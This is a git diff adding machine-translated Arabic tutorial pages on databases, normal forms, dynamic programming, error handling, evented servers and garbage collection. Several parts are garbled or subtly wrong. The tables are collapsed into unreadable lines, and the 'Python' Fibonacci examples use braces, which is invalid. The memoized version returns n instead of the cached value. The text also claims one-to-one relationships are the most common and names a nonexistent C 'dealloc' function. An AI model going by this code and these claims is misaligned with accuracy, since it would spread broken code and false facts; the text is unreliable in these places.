+و `value` يمكن أن يكون في مخزن المفاتيح ذات قيمة أي شيء تريده. ويشمل ذلك السلاسل أو الأرقام أو الشفرة أو الصورة أو القائمة أو حتى زوج آخر من قيم المفتاح. تسمح لك بعض قواعد البيانات بتقييد نوع البيانات الذي يمكن تخزينه.
+
+### استخدم حالات
+
+يمكن استخدام قواعد بيانات Key-value على سيناريوهات متعددة. فيما يلي قائمة بالتطبيقات الأكثر شيوعًا:
+
+*   الدلائل للاتصالات.
+*   ملفات تعريف المستخدم ومعلومات الجلسة.
+*   محتويات عربة التسوق.
+*   تفاصيل المنتج أو الاستعراضات.
+*   جداول إعادة توجيه بروتوكول الإنترنت (IP).
+*   الحالة الصحية للخدمات أو التكوين.
+
+### أمثلة
+
+فيما يلي بعض الأمثلة لقواعد البيانات التي تستخدم نهج القيمة الأساسية:
+
+*   [رديس](https://redis.io)
+*   [قاعدة بيانات Oracle NoSQL](https://www.oracle.com/database/nosql/index.html)
+*   [كاساندرا](http://cassandra.apache.org) (مختلط بين قواعد البيانات ذات القيمة الرئيسية والأعمدة الموجهة)
+*   [فولدمورت](http://www.project-voldemort.com/voldemort/)
+*   [متجر Consul KV](https://www.consul.io/intro/getting-started/kv.html) (أداة مع مخزن قيمته الخاصة)
+
+#### معلومات اكثر:
+
+*   قواعد بيانات القيمة الرئيسية على [ويكيبيديا](https://en.wikipedia.org/wiki/Key-value_database)
+
+قاعدة بيانات Key-Value هي قاعدة بيانات بسيطة تستخدم خريطة أو قاموس كنموذج بيانات أساسي حيث يرتبط كل مفتاح بقيمة واحدة وقيمة واحدة في مجموعة وهو النوع الأكثر مرونة لقاعدة بيانات NoSQL.
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/non-relational-databases/index.md b/client/src/guide/arabic/computer-science/databases/non-relational-databases/index.md
new file mode 100644
index 0000000000..e66a889343
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/non-relational-databases/index.md
@@ -0,0 +1,28 @@
+---
+title: Non-Relational-Databases
+localeTitle: غير العلائقية-قواعد البيانات
+---
+## متى يجب استخدام
+
+إذا كنت تتعامل مع كمية هائلة من البيانات ، فقد يكون الأمر مملاً للغاية ، ويزداد احتمال حدوث خطأ (في شكل مشكلة عدم تطابق معوقات ORM). في هذه الحالة ، قد تحتاج إلى التفكير في استخدام قاعدة بيانات غير مرتبطة. تقوم قاعدة البيانات غير المرتبطة فقط بتخزين البيانات بدون آليات واضحة ومهيكلة لربط البيانات من جداول (أو دلاء) مختلفة مع بعضها البعض. إذا تبين أن نموذج البيانات الخاص بك معقد للغاية ، أو إذا وجدت نفسك مضطرًا إلى إلغاء تطبيع مخطط قاعدة البيانات ، فقد تكون قواعد البيانات غير العلائقية هي أفضل طريقة للانتقال.
+
+تتضمن الأسباب الأخرى لاختيار قاعدة بيانات غير مرتبطة:
+
+*   الحاجة إلى تخزين المصفوفات المتسلسلة في كائنات JSON
+*   تخزين السجلات في نفس المجموعة التي تحتوي على حقول أو سمات مختلفة
+*   البحث عن نفسك إلغاء تطبيع مخطط قاعدة البيانات أو الترميز حول الأداء وقابلية التوسع الأفقي
+*   المشاكل بسهولة قبل تحديد المخطط الخاص بك بسبب طبيعة نموذج البيانات الخاص بك
+
+## سلبيات
+
+في قواعد البيانات غير العلائقية ، لا توجد روابط مثلما سيكون هناك في قواعد البيانات العلائقية. هذا يعني أنك تحتاج إلى تنفيذ استعلامات متعددة والانضمام إلى البيانات يدويًا داخل شفرتك - والتي يمكن أن تكون قبيحة وسريعة للغاية.
+
+## أمثلة قواعد البيانات
+
+*   MongoDB
+*   NoSQL
+
+## المراجع
+
+*   (https://www.pluralsight.com/blog/software-development/relational-non-relational-databases)
+*   (https://en.wikipedia.org/wiki/NoSQL)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/normal-form/index.md b/client/src/guide/arabic/computer-science/databases/normal-form/index.md
new file mode 100644
index 0000000000..4afed43631
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/normal-form/index.md
@@ -0,0 +1,68 @@
+---
+title: Normal Form
+localeTitle: شكل عادي
+---
+## شكل عادي
+
+تم تقديم التطبيع لأول مرة كجزء من النموذج العلائقى. إنها عملية تنظيم جداول البيانات والأعمدة بطريقة تقلل من التكرار وتحسن النزاهة. يمكن القيام بذلك إما من خلال:
+
+*   synthesis: إنشاء تصميم قاعدة بيانات طبيعي استنادًا إلى مجموعة معروفة من التبعيات.
+*   التحلل: يأخذ تصميم قاعدة بيانات موجودة (غير مقيدة بدرجة كافية) ويحسنها بناء على مجموعة معروفة من التبعيات
+
+توجد ثلاثة نماذج عادية شائعة (الأول والثاني والثالث) بالإضافة إلى نموذج متقدم يسمى BCNF. إنها متدرجة: في الجزء الشمالي للتأهل للنموذج العادي الثالث ، يجب أن يستوفي مخطط قاعدة البيانات قواعد النموذج العادي الثاني ، وهكذا في الشكل العادي الأول.
+
+*   **أول نموذج طبيعي** : يتم تخزين المعلومات في جدول ، يحتوي كل عمود على قيم ذرية ، ولا توجد مجموعات مكررة من الأعمدة. هذه :
+
+1.  يقضي على تكرار المجموعات في جداول فردية.
+2.  ينشئ جدول منفصل لكل مجموعة من البيانات ذات الصلة.
+3.  يحدد كل مجموعة من البيانات ذات الصلة بمفتاح أساسي
+
+##### مثال
+
+التصميم الذي ينتهك النموذج العادي الأول ، لا يحتوي عمود "الهاتف" على قيم ذرية
+
+| معرف العميل الاسم الأول | اسم العائلة | الهاتف | | ------------- | ------------ | ----------- | ---------- ---------------------------- | | 123 | بوجا سينغ 555-861-2025 ، 192-122-1111 | | 789 | جون Doe | 555-808-9633 | | 456 | سان | تشانغ (555) 403-1659 تحويلة. 53. 182-929-2929 |
+
+يتمثل أحد الحلول في الحصول على عمود إضافي لكل رقم هاتف. ولكن بعد ذلك ، سيكرر هذا المفهوم نفس السمة (رقم الهاتف). وعلاوة على ذلك ، فإن إضافة رقم هاتف إضافي يتطلب إعادة تنظيم الجدول بإضافة المزيد من الأعمدة.هذا بالتأكيد ليس عمليا.
+
+الحل الآخر هو أن يكون لديك جدول منفصل لعميل الارتباط <-> الهاتف: وهذا يحترم الشكل العادي الأول ويمكن أن يكون هناك عدد من الصفوف لكل عميل حسب الحاجة.
+
+| معرف العميل الاسم الأول | اسم العائلة | | ------------- | ------------ | ----------- | | 123 | بوجا سينغ | 789 | جون Doe | | 456 | سان | تشانغ
+
+| معرف العميل الهاتف | | ------------- | ------------------------ | | 123 | 555-861-2025 | | 123 | 192-122-1111 | | 789 | 555-808-9633 | | 456 | (555) 403-1659 تحويلة. 53 | | 456 | 182-929-2929 |
+
+*   **النموذج الثاني العادي** : يكون الجدول في النموذج العادي الأول وتعتمد جميع الأعمدة غير الرئيسية على المفتاح الأساسي للجدول. هذا يضيق غرض الطاولة.
+
+##### مثال
+
+تصميم يخالف الشكل العادي الثاني. اسم النموذج الكامل هو المفتاح الأساسي ، هناك مفاتيح أخرى مثل {manufacturer، model}. يعتمد العمود "الشركة المصنعة البلد" على عمود غير المفتاح (الشركة المصنعة).
+
+| الصانع | نموذج | نموذج الاسم الكامل | بلد الصانع | | --------------------- | -------------- | ------------ ---------- | ---------------------- | | فورت X-Prime | فورت اكس برايم | ايطاليا | | فورت Ultraclean | Forte Ultraclean | ايطاليا | | دنت-س-فريش | EZbrush | دنت يا العذبة EZbrush | الولايات المتحدة الأمريكية | كوباياشي | ST-60 | كوباياشي ST-60 | اليابان | | هوتش | Toothmaster | Hoch Toothmaster | ألمانيا | | هوتش | X-Prime | هوش اكس برايم | ألمانيا |
+
+التصميم المقسّم سيكون تقسيمه إلى جدولين كما يلي:
+
+| الصانع | بلد الصانع | | --------------------- | ---------------------- | | فورت ايطاليا | | دنت-س-فريش | الولايات المتحدة الأمريكية | كوباياشي | اليابان | | هوتش | ألمانيا |
+
+| الصانع | نموذج | نموذج الاسم الكامل | | --------------------- | -------------- | ------------ ---------- | | فورت X-Prime | فورت اكس برايم | | فورت Ultraclean | Forte Ultraclean | | دنت-س-فريش | EZbrush | دنت يا العذبة EZbrush | | كوباياشي | ST-60 | كوباياشي ST-60 | | هوتش | Toothmaster | Hoch Toothmaster | | هوتش | X-Prime | هوش اكس برايم |
+
+*   **الشكل العادي الثالث** : يكون الجدول في الشكل الثاني العادي ولا تعتمد جميع أعمدته بشكل انتقالي على المفتاح الأساسي. ويقال إن العمود يعتمد على عمود آخر إذا كان يمكن اشتقاق منه ، على سبيل المثال ، يمكن اشتقاق العمر من عيد الميلاد. الترانزيت يعني أن هذا الاعتماد قد يتضمن أعمدة أخرى. على سبيل المثال ، إذا أخذنا في الاعتبار ثلاثة أعمدة `PersonID BodyMassIndex IsOverweight` ، يعتمد العمود "IsOverweight" بشكلٍ انتقائي على "personID" من خلال "BodyMassIndex".
+
+##### مثال
+
+تصميم يخالف الشكل العادي الثالث. {Tournament، Year} هي المفتاح الأساسي للجدول ، ويعتمد العمود "تاريخ ميلاد الفائز" بشكل انتقائي عليه.
+
+| بطولة | السنة الفائز | الفائز تاريخ الميلاد | | ---------------------- | ------------- | ------------ ---- | ---------------------- | | دعوة انديانا 1998 | فريدريكسون | 21 يوليو 1975 | | كليفلاند المفتوحة 1999 | بوب ألبرتسون 28 سبتمبر 1968 | | ديس موينس الماجستير 1999 | فريدريكسون | 21 يوليو 1975 | | دعوة انديانا 1999 | رقاقة ماسترسون 14 مارس 1977 |
+
+التصميم المتوافق مع النموذج العادي الثالث سيكون:
+
+| بطولة | السنة الفائز |  
+| ---------------------- | ------------- | ------------ ---- | | دعوة انديانا 1998 | فريدريكسون | | كليفلاند المفتوحة 1999 | بوب ألبرتسون | ديس موينس الماجستير 1999 | فريدريكسون | | دعوة انديانا 1999 | رقاقة ماسترسون
+
+| الفائز | تاريخ الميلاد | ---------------- | ------------------- | | رقاقة ماسترسون 14 مارس 1977 | | فريدريكسون | 21 يوليو 1975 | | بوب ألبرتسون 28 سبتمبر 1968 |
+
+#### معلومات اكثر:
+
+*   تطبيع قاعدة البيانات على [ويكيبيديا](https://en.wikipedia.org/wiki/Database_normalization)
+*   أول نموذج طبيعي على [ويكيبيديا](https://en.wikipedia.org/wiki/First_normal_form)
+*   الشكل الثاني العادي على [ويكيبيديا](https://en.wikipedia.org/wiki/Second_normal_form)
+*   شكل طبيعي ثالث على [ويكيبيديا](https://en.wikipedia.org/wiki/Third_normal_form)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/relational-databases/index.md b/client/src/guide/arabic/computer-science/databases/relational-databases/index.md
new file mode 100644
index 0000000000..a9bb2bcf01
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/relational-databases/index.md
@@ -0,0 +1,51 @@
+---
+title: Relational Databases
+localeTitle: قواعد البيانات العلائقية
+---
+وبما أن قاعدة البيانات هي طريقة لتخزين البيانات ، فإن قواعد البيانات العلائقية هي نموذج لكيفية تخزين البيانات. يتم تنظيم البيانات في جداول ، والتي تعرف أيضًا باسم العلاقات. تحتوي الجداول على سجل لكل مثيل للبيانات ، والمعروفة باسم السجلات أو المجموعات. تعرف المعرفات الفريدة كل سجل لوصفه عبر قاعدة البيانات.
+
+## الجداول
+
+مثل ورقة في اكسل ، تتكون الجداول من الأعمدة والصفوف. كل صف هو مثيل لبيانات ذات سمات في عمود الجدول تعرف كمجالات. يمكن أن يكون هناك عدة جداول لكل فئة للكيانات. على سبيل المثال يمكن أن يكون جدول المستخدمين. سيكون كل صف مستخدمًا وسيكون لكل حقل تفاصيل حول المستخدم مثل البريد الإلكتروني وكلمة المرور وتفاصيل الاتصال لهذا المستخدم المحدد. في الشكل 1 ، يمكنك رؤية الرسم البياني للمثال.
+
+| | مستخدم | البريد الإلكتروني | الهاتف | | ------------- | ------------ | ------------------ | --- ----------------------------------- | | الصف 1 | جيري j@j.uk.za | 771447444121 | | الصف 2 | سالي batgirl@gh.co.za | 771447444121 | | الصف 3 | أليكس | samwis@tty.fe | 771447444121 | | الصف 4 | دوغ | 4sure@dam.us | 745151515152 |
+
+الشكل 1 - مثال لجدول المستخدم.
+
+## تسجيل
+
+السجل هو كيان واحد للبيانات. كما في المثال أعلاه ، يمكن أن يكون المستخدم أو الحساب أو الجهاز أو أي شيء يمكن أن تمثله البيانات. تحتاج السجلات إلى معرّف فريد يُشار إليه أحيانًا بالمفتاح. يجب أن يكون هذا المفتاح فريدًا حيث يتم استخدامه لوصف العلاقات التي يمتلكها السجل مع السجلات الأخرى في الجداول الأخرى. في الشكل 1 ، يمكننا إضافة مفاتيح لكل صف يحدد هوية كل مستخدم بمفتاح ، ويظهر الجدول الآن بالشكل 2.
+
+| مفتاح مستخدم | البريد الإلكتروني | الهاتف | | ----------- | ------------ | ------------------ | ----- --------------------------------- | | u1 | جيري j@j.uk.za | 771447444121 | | u2 | سالي batgirl@gh.co.za | 771447444121 | | يو 3 | أليكس | samwis@tty.fe | 771447444121 | | u4 | دوغ | 4sure@dam.us | 745151515152 |
+
+الشكل 2 - مثال على قاعدة بيانات المستخدم مع حقل KEY.
+
+## مجالات
+
+الحقول تصف السجل. يمكن أن يحمل هذا أي معلومات على الكيان الذي يرمز إليه السجل. في الشكل 3 ، يمكنك رؤية جدول يعرض الحيوانات الأليفة. تصف الأعمدة (الحقول) كل حيوان أليف (سجل) بـ p\_name و p\_age و p\_type و p\_owner. اختصار p للحيوان الأليف وسيتم شرح العمود الأخير في المقطع التالي على العلاقات.
+
+| مفتاح p\_name | p\_age | p\_owner | | ----------- | ------------ | ------------------ | ----- ---------- | | p1 | سوزي | j@j.uk.za | u1 | | p2 | تراجع قليلا | batgirl@gh.co.za | u1 | | p3 | اميللي | samwis@tty.fe | u2 | | p4 | دوغ | 4sure@dam.us | يو 3 |
+
+الشكل 3 - مثال على الجدول الحيوانات الأليفة.
+
+## العلاقات
+
+تسمح لك قواعد البيانات العلائقية بوصف العلاقات التي تربط الكيانات ببعضها البعض. هذا هو في بعض الأحيان الموضوع الأكثر صعوبة من قواعد البيانات العلائقية لفهم. إذا أخذنا جداول الأمثلة الخاصة بنا ، فيجب أن نكون قادرين على رؤية العلاقة التي يحتويها جدول المستخدم مع جدول الحيوانات الأليفة. إذا قرأت حقل p\_owner يمكنك أن ترى أنه يمكن أن يكون كذلك كما في الشكل 4. وهذا يفسر العلاقة بين كل حيوان أليف وبين مستخدم. العلاقة قد يكون لها أنواع مختلفة.
+
+| مفتاح p\_name | p\_age | p\_owner | | ----------- | ------------ | ------------------ | ----- ---------- | | p1 | سوزي | j@j.uk.za | جيري | p2 | تراجع قليلا | batgirl@gh.co.za | جيري | p3 | اميللي | samwis@tty.fe | سالي | p4 | دوغ | 4sure@dam.us | دوغ |
+
+الشكل 4 - مثال على جدول الحيوانات الأليفة مع حقل المالك المرتبطة.
+
+العلاقة بين واحد إلى عدة هي سجل واحد مرتبط بالعديد من السجلات الأخرى ، على سبيل المثال هو المستخدم جيري بعد أن اثنين من الحيوانات الأليفة. ويمكن أيضًا أن تكون علاقة متعددة الأطراف حيث يمكن أن تكون الجداول كتبًا ومؤلفين ، حيث يمكن للمؤلفين كتابة العديد من الكتب. وأخيراً ، أكثر أنواع العلاقات شيوعًا هو واحد إلى واحد ، وهو سجل يمكن ربطه بسجل واحد فقط ، وسجل آخر واحد فقط.
+
+## استنتاج
+
+هذا هو مجرد مقدمة موجزة في قواعد البيانات العلائقية. يتم توفير الروابط أدناه للموارد التي يمكن أن تساعدك على مزيد من الدراسة لهذا الموضوع.
+
+#### معلومات اكثر:
+
+*   قواعد البيانات العلائقية على [ويكيبيديا](https://en.wikipedia.org/wiki/Relational_database)
+*   واحد لكثير على [ويكيبيديا](https://en.wikipedia.org/wiki/One-to-many_(data_model) )
+*   كثير إلى كثير على [ويكيبيديا](https://en.wikipedia.org/wiki/Many-to-many_(data_model) )
+*   واحد إلى واحد على [ويكيبيديا](https://en.wikipedia.org/wiki/One-to-one_(data_model) )
+*   نموذج العلاقة على [ويكيبيديا](https://en.wikipedia.org/wiki/Entity%E2%80%93relationship_model)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/distribued-algorithms/index.md b/client/src/guide/arabic/computer-science/distribued-algorithms/index.md
new file mode 100644
index 0000000000..592f83d374
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/distribued-algorithms/index.md
@@ -0,0 +1,9 @@
+---
+title: Ditributed Algorithms
+localeTitle: خوارزميات Ditributed
+---
+## الخوارزميات الموزعة
+
+الخوارزميات الموزعة هي دراسة الخوارزميات التي تعمل على أكثر من معالج واحد. الغرض من هذه الخوارزميات هو استخدام الموازاة لتحقيق السرعة. بعض تطبيقات الخوارزميات الموزعة ستكون في معالجات متعددة المراكز ومجموعات من أجهزة الكمبيوتر.
+
+أثناء دراسة الخوارزميات الموزعة نظريا ، يتم تصميم النظام الموزع من أجل الوصول إلى مستوى تجريدى مستقل عن تطبيقات وأنظمة مختلفة. نموذجان شائعان هما نموذج تمرير الرسالة ونموذج الذاكرة المشتركة. في تمرير الرسالة ، كل عملية (عادةً ما يتم استخدام المعالجات والمعالجات بشكل تبادلي) يتم نقلها عبر الرسائل التي ترسلها وتستلمها من وإلى عمليات أخرى. في نموذج الذاكرة المشتركة ، تتواصل العمليات عن طريق الوصول إلى ذاكرة مشتركة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/dynamic-programming/index.md b/client/src/guide/arabic/computer-science/dynamic-programming/index.md
new file mode 100644
index 0000000000..21e30f264b
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/dynamic-programming/index.md
@@ -0,0 +1,49 @@
+---
+title: Dynamic Programming
+localeTitle: برمجة ديناميكية
+---
+## برمجة ديناميكية
+
+البرمجة الديناميكية (DP) هي تقنية برمجة لحل المشاكل حيث تتداخل حسابات مشاكلها الفرعية: تكتب برنامجك بطريقة تتجنب إعادة معالجة المشاكل التي تم حلها بالفعل. هذه التقنية ، عادة ما يتم تطبيقها بالاقتران مع المذكرات وهي تقنية التحسين حيث تقوم بتخزين النتائج المحسوبة مسبقًا ، وترجع النتيجة المخزنة مؤقتًا عند الحاجة إلى نفس الحساب مرة أخرى.
+
+مثال على سلسلة فيبوناتشي التي تم تعريفها على النحو التالي:
+
+`F(N) = F(N-1) + F(N-2)`
+
+هذه هي الشجرة للعثور على F (5):
+
+![شجرة فيبوناتشي سيري](https://i.stack.imgur.com/59Rpw.png)
+
+لحساب F (5) ستحتاج إلى حساب عدة مرات نفس F (i). استخدام العودية:
+
+ `def fib(n) 
+ { 
+    if n <= 1: 
+        return n 
+    return fib(n-1) + fib(n-2); 
+ } 
+` 
+
+وفيما يلي الحل الأمثل (باستخدام DP)
+
+بالنسبة إلى F (5) ، سيؤدي هذا الحل إلى إنشاء المكالمات الواردة في الصورة أعلاه ، والتي تعمل في O (2 ^ N).
+
+هنا هو الحل الأمثل الذي يستخدم DP و memoization:
+
+ `lookup = {1 : 1, 2 : 1} # Create a lookup-table (a map) inizialized with the first 2 Fibonacci's numbers 
+ 
+ def fib(n) 
+ { 
+    if n in lookup: # If n is already computed 
+        return n # Return the previous computed solution 
+    else 
+        lookup[n] = fib(n-1) + fib(n-2) # Else, do the recursion. 
+    return lookup[n] 
+ } 
+` 
+
+التخزين المؤقت للحلول المحسوبة في جدول البحث ، والاستعلام عنها قبل الذهاب العودية سيتيح للبرنامج وقت تشغيل O (N).
+
+#### معلومات اكثر:
+
+[ما هي البرمجة الديناميكية على StackOverflow](https://stackoverflow.com/questions/1065433/what-is-dynamic-programming) [الفرق بين memoization و DP على StackOverflow](https://stackoverflow.com/questions/6184869/what-is-the-difference-between-memoization-and-dynamic-programming)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/error-handling/index.md b/client/src/guide/arabic/computer-science/error-handling/index.md
new file mode 100644
index 0000000000..6b80059bf0
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/error-handling/index.md
@@ -0,0 +1,26 @@
+---
+title: Error Handling
+localeTitle: معالجة الأخطاء
+---
+## معالجة الأخطاء
+
+معالجة الخطأ ، وإلى حد أكبر ، معالجة الاستثناء ، هي وظائف / أساليب مكتوبة لإرجاع معلومات هامة حول معالجة البيانات. غالبًا ما يتم استخدام معالجة الأخطاء جنبًا إلى جنب مع Promises و Callbacks. يعتبر التعامل مع الأخطاء أمرًا مهمًا جدًا يجب أن يهتم به كل مطور أثناء البرمجة. هنا سوف أشرح كيفية التعامل مع الأخطاء التي تحدث في وقت التشغيل باستخدام كتل try-catch مع مثال في برامج C #. تتوفر عبارات Try-catch في جميع لغات البرمجة الرئيسية مع بناء الجملة المتشابهة.
+
+### كيف تعمل كتلة المحاولة.
+
+تتكون عبارة try-catch من كتلة **المحاولة** وكتلة **catch** وحظر اختياري **أخيرًا** . يجب وضع التعليمات البرمجية التي يمكن طرح استثناء في كتلة المحاولة. تأخذ كتلة catch الاستثناء الذي يمكن طرحه كمعلمة ثم يعالج هذا الاستثناء داخل الكتلة. أثناء وقت التشغيل ، يتم تنفيذ التعليمة البرمجية في كتلة المحاولة أولاً. إذا تم طرح استثناء ، فسيتم طرحه إلى كتلة catch ليتم التعامل معه. إذا لم يكن هناك كتلة catch ، فسوف يعرض البرنامج خطأ استثناء غير معالج ويتوقف عن التشغيل. يتم استخدام كتل catch متعددة إذا كان رمز في كتلة المحاولة يمكن أن يلقي أكثر من استثناء واحد. هناك أيضًا كتلة اختيارية **أخيرًا** ستنفذ الشفرة فيها بغض النظر عما إذا تم طرح استثناء أم لا.
+
+يوجد أدناه برنامج مثال يتعامل مع القسمة عن طريق استثناء صفري باستخدام فئة معرفة مسبقًا في مكتبة C #. استثناء هو الفئة الأساسية لكافة الاستثناءات.
+
+`c# using System; namespace ErrorHandling { class DivideByZero { int result; DivideByZero() { result = 0; } public void division(int num1, int num2) { try { result = num1 / num2; } catch (DivideByZeroException e) { Console.WriteLine("Exception caught: {0}", e); } catch(Exception ex) { Console.WriteLine("Exception caught: {0}", ex); } finally { Console.WriteLine("Result: {0}", result); } } static void Main(string[] args) { DivideByZero d = new DivideByZero(); d.division(10, 0); Console.ReadKey(); } } }`
+
+*   في البرنامج أعلاه تمرير 0 كمعلمة ثانية سيتم طرح DivideByZeroExceptions.
+    
+*   سيتم التعامل مع هذا الاستثناء بواسطة كتلة catch التي تحتوي على فئة DivideByZeroException. في حالة حدوث أي استثناءات غير DivideByZeroExceptions ، سيتم التعامل معها بواسطة كتلة catch الالتقاط.
+    
+    الاستثناء هو الفئة الأساسية لكافة فئات الاستثناءات المتوفرة في مكتبة C #. حتى إذا كنت تريد كتابة الاستثناء الخاص بك ، يجب أن ترث الفئة الأساسية استثناء في البرنامج الخاص بك.
+    
+
+#### معلومات اكثر:
+
+https://quizlet.com/135129010/computer-science-error-handling-flash-cards/ https://en.wikipedia.org/wiki/Exception\_handling
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/evented-servers/index.md b/client/src/guide/arabic/computer-science/evented-servers/index.md
new file mode 100644
index 0000000000..6cbc95238f
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/evented-servers/index.md
@@ -0,0 +1,19 @@
+---
+title: Evented Servers
+localeTitle: خوادم
+---
+## خوادم
+
+تقوم الخوادم التي تم تنفيذها بتنفيذ حلقة حدث واحدة تعالج الأحداث لجميع العملاء المتصلين. هذا يعارض خوادم Threaded ، والتي تستخدم العديد من مؤشرات الترابط التنفيذ المتزامنة ، حيث يعالج كل مؤشر ترابط طلب عميل واحد.
+
+بعبارات بسيطة ، تحتوي خوادم Evented على مؤشر ترابط رئيسي واحد مشترك بين كافة طلبات العملاء. ما هو خاص مع خوادم Evented هو حقيقة أنها يمكن أن تعطي الأولوية للعمل الذي يجب القيام به مع طلبات العملاء. سنوضح ذلك بمثال.
+
+لنفترض أنك مالك شركة سيارات الأجرة (دعها تُعرف باسم الخادم) ولديك أشخاص يتصلون بشركتك (دعهم يعرفون باسم العملاء) الذين يرغبون في ترتيب شاحنة صغيرة (دعهم يُعرفون باسم الطلبات). تقوم بتعيين مشغلين (دعهم يعرفون باسم العمليات / سلاسل العمليات) لأخذ أوامر من العملاء. يوضح منطق عملك أن المشغل يجب أن يبقى على الخط حتى يتم إرسال سائق سيارة الأجرة إلى العميل. وبشكل أساسي ، قد ترغب في توظيف أكبر عدد ممكن من المشغلين ككميات لسائقي سيارات الأجرة التي يمكنك إرسالها.
+
+باستخدام خادم Evented ، لا يوجد سوى مشغل واحد قادر على أخذ تفاصيل الالتقاط من العملاء ، لكنه يعرف استدعاء العميل مرة أخرى بمجرد إرسال سائق سيارة الأجرة إليه.
+
+يستخدم هذا النوع من الخوادم عمليات رد الاتصال لإعلام العملاء عند التعامل مع طلباتهم.
+
+#### معلومات اكثر:
+
+[بنية مدفوعة حتى في ويكيبيديا](https://en.wikipedia.org/wiki/Event-driven_architecture)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/garbage-collection/index.md b/client/src/guide/arabic/computer-science/garbage-collection/index.md
new file mode 100644
index 0000000000..2ce54e4ac5
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/garbage-collection/index.md
@@ -0,0 +1,46 @@
+---
+title: Garbage Collection
+localeTitle: جمع القمامة
+---
+## جمع القمامة
+
+#### ما هو جمع القمامة؟
+
+بشكل عام ، فإن مصطلح "جمع القمامة" (GC) ليس سوى تجميع أو استعادة الذاكرة التي تم تخصيصها للكائنات ، والتي لا تستخدم في الوقت الحالي في أي جزء من برنامجنا. وصف موجز على النحو التالي.
+
+جمع البيانات المهملة هي العملية التي تحاول البرامج من خلالها تحرير مساحة الذاكرة التي لم تعد مستخدمة من قبل الكائنات ، ومن هذا القبيل. يتم تنفيذ جمع القمامة بشكل مختلف لكل لغة. تحتوي معظم لغات البرمجة عالية المستوى على نوع من تجميع البيانات المهملة. قد تضيف لغات البرمجة ذات المستوى المنخفض المجموعة المهملة عبر المكتبات.
+
+كما ذكر أعلاه ، فإن كل لغة برمجة لها طريقتها الخاصة في GC. في برمجة C ، يحتاج المطورون إلى رعاية تخصيص الذاكرة وإلغاء تخصيصها باستخدام وظائف malloc () و dealloc (). ولكن في حالة C # للمطورين لا تحتاج إلى رعاية GC ولا ينصح بها.
+
+\#### كيف يحدث تخصيص الذاكرة؟ في C # ، يحدث تخصيص الذاكرة للكائنات في كومة تمت إدارتها. الذي يعتني CLR (وقت تشغيل اللغة العامة). يتم تخصيص الذاكرة من أجل كومة الذاكرة المؤقتة من خلال win32 في نظام التشغيل كما هو الحال في C. ولكن ، يتم وضع C في الذاكرة في أي وقت يناسب المساحة الحرة حجم الكائن. و ، تعيين الذاكرة هو woks استناداً إلى مفاهيم Linkedlist. في C # ، يتم تخصيص الذاكرة كومة الذاكرة المؤقتة بطريقة خطية. مثل واحد تلو الآخر.
+
+متى يتم إنشاء كائن جديد. يتم تخصيص ذاكرة في كومة الذاكرة المؤقتة ثم نقل المؤشر إلى عنوان الذاكرة التالي. تخصيص الذاكرة في C # هو أسرع من C. منذ ، في C تحتاج الذاكرة للبحث والتخصيص للكائن. لذلك سوف يستغرق وقتًا أعلى قليلاً من C #.
+
+\#### Generations في C # GC؟ في برمجة .net ، تحتوي كومة الذاكرة المؤقتة على ثلاثة أجيال يطلق عليها الجيل 0 ، 1 ، 2. يتم ملء الجيل الأول أولاً عند إنشاء كائن جديد. جامع القمامة تشغيل عندما تحصل على شغل الجيل 0. يتم إنشاء الكائنات المنشأة حديثًا في الجيل 0. أثناء أداء مجموعة البيانات المهملة يتم إتلاف كافة الكائنات غير المرغوب فيها ، ويتم تحرير الذاكرة وضغطها. يهتم GC بالإشارة إلى مؤشرات الذاكرة المحررة بمجرد حدوث GC.
+
+الأجيال 1 و 2 لديها الكائن الذي لديه حياة أطول. لن يحدث GC على الأجيال 1 و 2 حتى يكون لدى الأجيال 0 ذاكرة كافية لتخصيص.
+
+من غير المستحسن لاستدعاء GC بشكل برمجي. من الجيد أن تدع الأمر يحدث من تلقاء نفسه. GC الحصول على مكالمة عندما يتم ملء الجيل 0. GC لن يؤثر على أداء البرنامج الخاص بك.
+
+جمع البيانات المهملة هي العملية التي تحاول البرامج من خلالها تحرير مساحة ذاكرة لم تعد مستخدمة من قبل المتغيرات ، والكائنات ، ومثلها. يتم تنفيذ جمع القمامة بشكل مختلف لكل لغة. تحتوي معظم لغات البرمجة عالية المستوى على نوع من تجميع البيانات المهملة المضمنة. قد تضيف لغات البرمجة منخفضة المستوى مجموعة البيانات المهملة عبر المكتبات.
+
+جمع القمامة هو أداة توفر الوقت للمبرمج ، على سبيل المثال أنه يستبدل الحاجة لوظائف مثل malloc () و free () التي توجد في C. ويمكن أن يساعد أيضًا في منع تسرب الذاكرة.
+
+الجانب السلبي لجمع القمامة هو أنه يؤثر سلبًا على الأداء. يجب أن يعمل البرنامج بانتظام من خلال البرنامج ، وفحص مراجع الكائنات وتنظيف الذاكرة - وهذا يأخذ الموارد ويحتاج في كثير من الأحيان إلى توقف البرنامج.
+
+إذا كان الكائن لا يحتوي على مراجع (لم يعد قابلاً للوصول) ، فهو مؤهل لجمع البيانات المهملة. على سبيل المثال ، في رمز Java الموجود أدناه ، يحتوي كائن Thing الذي تمت الإشارة إليه أصلاً بواسطة 'thing1' على مرجع واحد ومرجع فقط إلى كائن آخر على الكومة - ثم يتعذر الوصول إليه وسيتوفر ذاكرة غير مخصصة من قبل أداة تجميع مجمعي البيانات المهملة.
+
+ `class Useless { 
+  public static void main (String[] args) { 
+  Thing thing1 = new Thing(); 
+  Thing thing2 = new Thing(); 
+  thing2 = thing1; // direct thing2's reference towards thing1 
+                   // no references access thing2 
+ } } 
+` 
+
